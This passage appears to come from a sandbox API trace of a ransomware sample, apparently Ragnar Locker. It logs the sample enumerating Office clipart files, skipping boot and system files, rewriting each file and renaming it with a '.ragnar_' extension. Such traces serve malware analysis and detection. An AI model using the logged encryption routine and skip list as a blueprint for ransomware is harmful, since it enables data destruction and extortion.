Office\\CLIPART\\PUB60COR\\J0294991.WMF") returned=".WMF" [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="autorun.inf") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="boot.ini") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootfont.bin") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootsect.bak") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootmgr") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootmgr.efi") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="bootmgfw.efi") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="desktop.ini") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="iconcache.db") returned 1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ntldr") returned -1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ntuser.dat") returned -1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ntuser.dat.log") returned -1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="ntuser.ini") returned -1 [0087.467] lstrcmpiW (lpString1="J0294991.WMF", lpString2="thumbs.db") returned -1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.467] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf")) returned 0x20 [0087.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.468] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24960) returned 1 [0087.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6177, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.468] GetProcessHeap () returned 0x580000 [0087.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.468] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.470] VirtualAlloc (lpAddress=0x0, dwSize=0x6180, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.470] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6180, lpOverlapped=0x0) returned 1 [0087.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.472] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6180, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.472] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6180, lpOverlapped=0x0) returned 1 [0087.472] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6180, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.472] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6180, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.472] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.473] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.473] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.473] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.473] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.473] GetProcessHeap () returned 0x580000 [0087.473] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.473] CloseHandle (hObject=0xf4) returned 1 [0087.473] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" [0087.473] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ragnar_FD7BD9FC" [0087.473] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.474] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0087.474] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.474] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0295069.WMF" | out: lpString1="J0295069.WMF") returned="J0295069.WMF" [0087.474] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF") returned=".WMF" [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="autorun.inf") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="boot.ini") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootfont.bin") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootsect.bak") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootmgr") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootmgr.efi") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootmgfw.efi") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="desktop.ini") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="iconcache.db") returned 1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ntldr") returned -1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ntuser.dat") returned -1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ntuser.dat.log") returned -1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ntuser.ini") returned -1 [0087.474] lstrcmpiW (lpString1="J0295069.WMF", lpString2="thumbs.db") returned -1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.474] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf")) returned 0x20 [0087.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.475] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8626) returned 1 [0087.475] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.475] GetProcessHeap () returned 0x580000 [0087.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.476] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.477] VirtualAlloc (lpAddress=0x0, dwSize=0x21b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.478] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21b2, lpOverlapped=0x0) returned 1 [0087.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.479] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21b2, lpOverlapped=0x0) returned 1 [0087.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.479] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.479] GetProcessHeap () returned 0x580000 [0087.479] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.479] CloseHandle (hObject=0xf4) returned 1 [0087.480] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" [0087.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ragnar_FD7BD9FC" [0087.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.480] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0087.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.480] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0296277.WMF" | out: lpString1="J0296277.WMF") returned="J0296277.WMF" [0087.480] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF") returned=".WMF" [0087.480] lstrcmpiW (lpString1="J0296277.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.480] lstrcmpiW (lpString1="J0296277.WMF", lpString2="autorun.inf") returned 1 [0087.480] lstrcmpiW (lpString1="J0296277.WMF", lpString2="boot.ini") returned 1 [0087.480] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootfont.bin") returned 1 [0087.480] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootsect.bak") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootmgr") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootmgr.efi") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootmgfw.efi") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="desktop.ini") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="iconcache.db") returned 1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ntldr") returned -1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ntuser.dat") returned -1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ntuser.dat.log") returned -1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ntuser.ini") returned -1 [0087.481] lstrcmpiW (lpString1="J0296277.WMF", lpString2="thumbs.db") returned -1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.481] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf")) returned 0x20 [0087.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.481] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=58412) returned 1 [0087.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe423, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.482] GetProcessHeap () returned 0x580000 [0087.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.482] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.483] VirtualAlloc (lpAddress=0x0, dwSize=0xe42c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.483] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe42c, lpOverlapped=0x0) returned 1 [0087.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.485] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe42c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.485] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe42c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe42c, lpOverlapped=0x0) returned 1 [0087.485] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe42c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.485] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe42c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.486] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.486] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.486] GetProcessHeap () returned 0x580000 [0087.486] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.486] CloseHandle (hObject=0xf4) returned 1 [0087.486] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" [0087.486] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ragnar_FD7BD9FC" [0087.486] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.487] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0087.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.487] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0296279.WMF" | out: lpString1="J0296279.WMF") returned="J0296279.WMF" [0087.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF") returned=".WMF" [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="autorun.inf") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="boot.ini") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootfont.bin") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootsect.bak") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootmgr") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootmgr.efi") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootmgfw.efi") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="desktop.ini") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="iconcache.db") returned 1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ntldr") returned -1 [0087.487] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ntuser.dat") 